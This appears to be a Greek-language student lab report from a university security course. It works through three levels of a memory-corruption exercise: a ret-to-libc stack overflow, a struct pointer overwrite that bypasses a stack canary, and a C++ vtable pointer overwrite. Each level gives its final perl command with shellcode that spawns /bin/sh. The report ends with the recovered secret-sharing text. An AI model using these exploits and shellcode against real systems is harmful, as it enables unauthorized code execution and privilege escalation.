Project #1
ΥΣ13 ΕΑΡΙΝΟ 2016

Αλέξανδρος Λαποκωνσταντάκης
1115201200088
(0)

Superuser

Μέσω gdb δοκιμάζω εκτελέσεις δίνοντας ως όρισμα string απο "A". Βρίσκω ότι το segfault προκύπτει μετά το 752ο byte απ' την αρχή του buffer, με το ret address να αρχίζει να γίνεται overwrite απ' το 753ο και μετά, άρα το 753ο-756ο byte του string που θα δώσω ως 2ο όρισμα στο εκτελέσιμο θα κάνουν overwrite το ret address του προγράμματος. Το σχέδιο ήταν να χρησιμοποιήσω return-to-libc για να καλέσω μέσω της system() το /bin/sh, και στη συνέχεια για να μην αφήσει ίχνη η system() να επιστρέψει και να καλέσει την exit(). Για να γίνει αυτό έπρεπε να γεμίσω το buffer (πάλι με "A" με τη γνωστή τιμή 41) και αμέσως μετα, να καλύψω και τον saved frame pointer, που σ' αυτήν την περίπτωση είναι περιττός, και τελικά να τοποθετήσω στο ret address της convert, δηλαδή στην εντολή που θα εκτελστεί όταν η ίδια τερματίσει, τη system() με τα ορίσματά της. Τα ορίσματά της τοποθετούνται στις ακριβώς επόμενες θέσεις μνήμης, με την exit(), το σημείο επιστροφής, να προηγείται, και ύστερα το πραγματικό όρισμα της το "/bin/sh". Χρειαζόμουν λοιπόν τα addresses της system, exit και του shell. Τρέχοντας gdb στο convert μέσω της p system kai p exit αντιστοιχα βρίσκω τις αντίστοιχες διευθύνσεις (0xb7ea9c90 και 0xb7e9d2d0), οι οποίες φαινόταν να παραμένουν σταθερές σε κάθε εκτέλεση, και γενικότερα. Τη shell αρχικά προσπαθούσα να την εκτελέσω βάζοντας ως όρισμα της system() το address του SHELL=/bin/bash που υπήρχε πάντα στη μνήμη του προγράμματος(το βρήκα χρησιμοποιώντας την x/500s $esp στο gdb). Αυτό δε δούλεψε και ανακάλυψα ότι αφού ορίσω μια environmental variable (export shell="/bin/sh") μπορώ να χρησιμοποιήσω την getenvar(shell) function για να πάρω στη συνέχεια τη θέση μνήμης της. Τώρα το shell βρισκόταν αποθηκευμένο στη μνήμη σε σημείο που ξέρω και είχε το κατάλληλο όρισμα. Τρέχοντας το πρόγραμμα πάλι το αποτέλεσμα ήταν "superuser" not found ή παρόμοιο. Ελέγχοντας τη, γνωστή, θέση μνήμης του shell βρήκα ότι είχε μετακινηθεί. Βρήκα τη νέα του θέση, προσέχοντας να συμπεριληφθεί στο address μόνο το "/bin/sh" και το τρεξα έξω απο gdb πάλι με παρόμοιο αποτέλεσμα, αυτη τη φορά το memory map έδειξε να είναι πιο κοντά. Δοκιμάζοντας 2-3 εκτελέσεις με αλλαγές στο τελευταίο byte της διεύθυνσης, έπεσα στη σωστή τελικά και το ret-to-libc πέτυχε.

final command

```
./convert 1 `perl -e 'print "A" x 752 . "\x90\x9c\xea\xb7". "\xd0\xd2\xe9\xb7" . "\x1b\xff\xff\xbf"'`
```

Supersecret.txt

One is is three in any people a of is in called In example read
a is the simply into parts to How is each the itself?
possible the that about is a interesting discussed
 later orutnFolvthlleroj

SERIAL:1459204802-
f10668bef31cc71ea2aa0936b7e4cbf6a8ebf0127562b2ca4300e418fbe13b68e69bcf853c79d342346af50
aa8e3e595249f658a7dcd55ee24dcbfe6684514a0

Hyperuser

Βλέπω ότι το μόνο όρισμα που δέχεται το arpsender είναι αρχείο του οποίου το path είναι προσπελάσιμο απ' τον hyperuser, για να μπορεί να λειτουργήσει και η stat(). Επομένως αρκεί να φτιάξω ένα (attack.txt) στο δικό μου directory. Κάνοντας disassemble τη main, βρίσκω ότι στο stack υπάρχει canary για να αποτρέψει buffer overflow(%gs:…). Η main δεν έχει καμία buffer overflow ευπάθεια, όμως το μήκος του packet, που στη συνέχεια περνάται στην print_address δεν ελέγχεται για να βρίσκεται σε κάποια όρια. Αντίθετα, ο μόνος έλεγχος αφορά στο 5ο byte του packet, που είναι και αυτό το οποίο ορίζει το πόσα bytes θα γραφούν (hwaddr.len = ..) στο hwaddr.addr buffer με την memcpy που ακολουθεί και το χρησιμοποιεί ως size όρισμα, άρα αρκεί να μεταβάλλω αυτό για να έχω το επιθυμητό μήκος. Το hwaddr.len λοιπόν, και κατ' επέκταση το πόσα bytes θα γραφούν στο buffer, καθορίζονται απ' τον ASCII κωδικό του 5ου byte. Με το canary να εμποδίζει την άμεση πρόσβαση στο ret address, θα 'πρεπε να κάνω overwrite τον pointer hwtype που στο struct, και στη μνήμη, έπεται του buffer addr[128], κάνοντας overflow ακριβώς αυτόν τον buffer. Ήξερα ότι δεν υπήρχε περίπτωση να έχουν γίνει reorder τα στοιχεία της struct, άρα να μην ήταν δυνατόν το overwrite, επειδή το SSP, παρά το ότι προσπαθεί να τοποθετήσει τους buffers δίπλα στα canaries, δεν μπορεί να κάνει reorder τα περιεχόμενα μιας struct. Έτσι, αρχικά σκέφτηκα να κάνω ret-to-libc ως εξής: Θα έκανα τον hwtype overwrite με τη θέση της ret address και αμέσως μετά, μέσω του ίδιου, θα έκανα τη ret address να δείχνει στη system(). Σκέφτηκα ότι και χωρίς τα ορίσματα να είναι δίπλα στη ret address, θα λειτουργούσε επειδή θα βρίσκονταν δίπλα στον hwtype που έδειχνε σ'αυτήν. (Τη θέση του ret address τη βρήκα κάνοντας info frame ενώ βρισκόμουν στην print_address στο gdb, και κοιτόντας το eip at ..). Η πρώτη memcpy, που θα προκαλέσει και το buffer overflow, θα γεμίσει με “A” τον addr[128] και στη συνέχεια θα βάλει στο hwtype pointer που τον ακολουθεί τη θέση του ret address της print_address, και στις θέσεις μνήμης αμέσως μετα απ το hwtype θα βάλει τα addresses των exit() kai “/bin/sh” (όπως στον superuser) που θα λειτουργήσουν ως ορίσματα στη system(). Αυτό που έλειπε τώρα είναι να γράψω το address της system() στο ret address της print_address, δηλαδή στον hwaddr.hwtype pointer, αφού πλέον δείχνει σ' αυτήν. Αυτό θα γινόταν με την επόμενη memcpy, η οποία γράφει ακριβώς 4 bytes, απ' την αρχή του packet, στον hwtype. Αφού η 1η memcpy γράφει απ' το 8ο byte του packet bytes που εξαρτώνται απ' το 5ο byte του packet και η 2η γράφει τα 4 πρώτα bytes του packet, το packet που θα περνούσα ως input μέσω του attack.txt θα ήταν κάπως έτσι:

system()	size(132	“AAA”	“A” x 128	eip	exit()	“/bin/sh”
0 bytes	4	5	8	136	140	144	148

Ο χαρακτήρας που θα λειτουργήσει ως size (ή hwaddr.len) μπορεί να δοθεί με την εντολή της perl chr(135), που μετατρέπει τον ASCII κωδικό στον αντίστοιχο χαρακτήρα.
Κάνοντας αλλαγές στα bytes που γράφω στον buffer, πειράζοντας το size κτλ και πέφτοντας πολλές φορές πάνω στο canary, συνειδητοποίησα ότι μεσολαβούν 3 bytes ακόμα ανάμεσα στο τέλευταίο byte του buffer και του hwaddr.hwtype. Αφού αυτο διορθώθηκε το ret-to-libc ακόμα δεν έτρεχε, ούτε σε gdb, φαινόταν ότι τελικά τα ορίσματα θα μπορούσαν να βρεθούν απ' τη system μόνο αν ήταν δίπλα στο ret address, και όχι σε κάτι που έδειχνε σ' αυτό (στην προκειμένη το hwaddr.hwtype).

Στη συνέχεια δοκίμασα μια παρόμοια τακτική με shellcode(το shellcode το πήρα έτοιμο απ' το

Smashing the stack for fun and profit, by Aleph One, συγκεκριμένα το format χωρίς μηδενικά bytes). Το packet θα' πρεπε ν' αλλάξει σε μερικά σημεία. Θα διατηρούνταν ίδιο το size byte(με την προσθήκη όμως 3 bytes όπως έγινε φανερό από τις προηγούμενες δοκιμές), και το red address που και πάλι θα κανε overwrite τον pointer hwaddr.hwtype. Όμως πλέον τα 4 πρώτα bytes του packet θα τα καταλάμβανε το address της αρχής του buffer. Με αυτόν τον τρόπο με τη 2η memcpy το ret address δε θα δειχνε πλέον στη system, αλλά στην αρχή του buffer, ο οποίος δε θα 'ναι γεμάτος με άχρηστα "A" αλλά στις πρώτες του θέσεις με \x90\, για περίπτωση απόκλισης και στις τελευταίες 45(το μέγεθος του shellcode) με το ίδιο το shellcode που θα εκτελεστεί επι τόπου. Το νέο packet θα χει τη μορφή.

| hwaddr.addr address | chr(135) | "AAA" | "\x90" x 86 + shellcode(45 bytes) | ret address |
0 bytes 4 5 8 139 143

Τελικά ο buffer θα περιλαμβάνει το \x90" x 86 + shellcode(42 bytes), τα επόμενα 3 bytes του shellcode θα βρίσκονται στο χώρο 3ών bytes που μεσολαβούν μεταξύ hwaddr.addr[128] και hwaddr.hwtype, και το ίδιο το hwaddr.hwtype θα δείχνει στο ret address. Μετά το 2ο memcpy, το ret address θα είναι η αρχή του buffer.

Μ' αυτόν τον τρόπο κατάφερα ν' ανοίξω shell στο gdb, και στη συνέχεια πειράζοντας τα 2 τελευταία ψηφία του ret address (που έδινα στο 139ο byte του packet για να κάνει overwrite) κατάφερα και έξω απ' αυτό να εκτελέσω το /bin/sh.

final command

```
perl -e 'print "\x55\xf5\xff\xbf" . chr(135) . "AAA" . "\x90" x 86 .
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
"\x80\xe8\xdc\xff\xff\xff/bin/sh" . "\xec\xf5\xff\xbf" '  > ../sdi1200088/attack.txt
```

hypersecret.txt

interesting how possible people, general number
to secret text. something cryptography secret this that
right simple presented text divided three and three much
leaked share secret Is to secret no the leaked share? questions
in on! nalisr inengeect

SERIAL:1459455602-
62aa68f15b63592719fdeca7b9385279b354dc2adc0d5c3288b641f1ad003bd54c64a626a361fe1ea06bb8
940364262eaf7b1438670bb1d3dd54f45b34606207

Masteruser

Βλέπω ότι το zoo.cpp είναι γραμμένο σε C++ και χρησιμοποιεί την base class animal και τις derivative κλάσεις cow και fox, με τη συνάρτηση speak να είναι virtual. Σκέφτομαι ότι μπορώ, αν το VPTR της speak σε κάθε object είναι μετά το name[156], να κάνω overflow το buffer και κατ΄επέκταση ν' αλλάξω το VPTR που το ακολουθεί έτσι ώστε αυτο να δείχνει σε shellcode που έχω τοποθετήσει μέσα στο ίδιο το buffer και όχι στη speak(). Έτσι όταν πάει να εκτελεστεί η speak(),αφού ο VPTR πλέον δε θα δείχνει σ' αυτήν στο VTABLE της κλάσης αλλά σε δικό μου κώδικα, θα εκτελεστεί το /bin/sh που είναι το ζητούμενο. Μέ την disassemble, εξετάζοντας τα calls σε constructors της fox, cow kai animal κλάσεων και βάζοντας breakpoints μετά το κάλεσμα της <_Znwj@plt >, βρίσκω τη θέση των objects (cow 0x804a008 και fox 0x804a110) και το χώρο που καταλαμβάνουν (260 bytes). Ωστόσο στο τέλος του κάθε object υπάρχουν ακόμα 4 bytes. Μετά απο ψάξιμο, με το x/s να εμφανίζει σκουπίδια πριν το όνομα των objects κτλ, συνειδητοποίησα ότι το VPTR προηγείται του name buffer, άρα είναι αδύνατον να το κάνω overflow με τον τρόπο που είχα στο μυαλό μου. Τα δύο objects όμως βρίσκονται σε διαδοχικές θέσεις μνήμης, 4 bytes μόνο να μεσολαβούν, με το cow να προηγείται (βρίσκεται συγκριτικά σε χαμηλότερες θέσεις μνήμης). Ανάμεσα στην αρχή του name[256] της cow και στο VPTR της fox φαίνεται να μεσολαβούν 260 bytes (256 το buffer + 4 τα κενά ανάμεσα στα δύο objects). Άρα το νέο σχέδιο είναι να κάνω overflow το name buffer της cow με 264 bytes, με τα 4 τελευταία να κάνουν overwrite τον VPTR pointer του επόμενου object έτσι ώστε αντί να δείχνει στο VTABLE της fox να δείχνει στην αρχή του name buffer της cow, τον οποίο θα έχω γεμίσει με shellcode και ο,τι άλλο χρειαστεί. Σκέφτηκα, αφού ο shellcode πιάνει και πάλι 45 bytes, μπορώ να γεμίσω τα 260-45 = 215 bytes με \x90 έτσι ώστε σε περίπτωση απόκλισης να εκτελεστεί και πάλι ο shellcode.
Για να πετύχει αυτό το πρόγραμμα θα 'πρεπε να καλεστεί ./zoo -s -c input, έτσι ώστε να γίνει το buffer overflow στο cow name buffer και με το -s να καλεστεί η speak της fox (a2 → speak), έτσι ώστε να κάνει trigger το shellcode μέσα στο buffer. Το πρόβλημα ήταν ότι το VPTR τελικά έπρεπε να δείχνει αυστηρά σε address, και αν τύχαινει να δείξει σε 0x90 το ret address είχε μορφή του τύπου 0x90909090 που καταλήγει σε seg fault.
Έπρεπε να αντικαταστήσω τα no-ops με το name address + codeOffset. Ο shellcode θα βρισκόταν στο name[codeOffset] και μετά, άρα κάθε byte του buffer πριν απ' το codeOffset θα' πρεπε να δείχνει σ' αυτήν τη θέση, για να εκτελεστεί ο κώδικας σε όποιο σημείο στην αρχή του buffer της cow κι αν δείξει το VPTR. Η διαφορά είναι ότι το (address + codeOffset) καταλαμβάνει 4 bytes στο buffer, άρα θέλω για να χωράει και ο shellcode, να επαναλαμβάνεται (260 – 45) / 4 = 53 φορές στα 260 bytes που έχω περιθώρειο μέχρι το VPTR. Άρα, τελικά τα πρώτα 53 * 4 = 212 bytes του name της cow θα καταλαμβάνονται από (address + codeOffset) x 53 ή συγκεκριμένα “0x804a0e0” x 53, τα επόμενα 45 απ' το shellcode και τα 3 τελευταία που περισσεύουν θα καλυφθούν με “AAA”. Ύστερα θα μπει και πάλι στο VPTR της fox η διεύθυνση της αρχής του name[156] της cow.

Αυτό δούλεψε κατευθείαν στο gdb, ανοίγοντας shell, και κατευθείαν έξω απ' αυτό αλλάζοντας το προτελευταίο byte της διεύθυνσης του name buffer.

final command

```
./zoo -s -c `perl -e 'print "\xe0\xa0\x04\x08" x 53 .
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
"\x80\xe8\xdc\xff\xff\xff/bin/sh" . "AAA" . "\x0c\xa0\x04\x08"'`
```

mastersecret.txt

question it for or for of share piece This that is sharing.
little you now solution where is vertically different distributed parties.
information from about passage it divide so information secret by
These will class Cgtao!sog haofpone

SERIAL:1459518002-
c72f73ba5b0f88168262c3612c37bdb6a41814e046592c7955905d3a1aa22bb703b0276d7da15cd78006d
ead428dd5d01eaab4f37200abe209dcb36207f1d422

Secret

Παίρνοντας διαδοχικά τις λέξεις των τριών secrets εναλλάξ με τη σειρά super → hyper → master προκύπτει:

One interesting question is how it is possible for three people, or in general for any number of people to share a secret piece of text. This is something that in cryptography is called secret sharing. In this little example that you read right now a simple solution is presented where the text Is simply divided vertically into three different parts and distributed to three parties. How much information is leaked from each share about the secret passage itself? Is it possible to divide the secret so that no information about the secret is leaked by a share? These interesting questions will discussed in class later on!
Cgtao! OrutnFolvthlleroj nalisr inengeect sog haofpone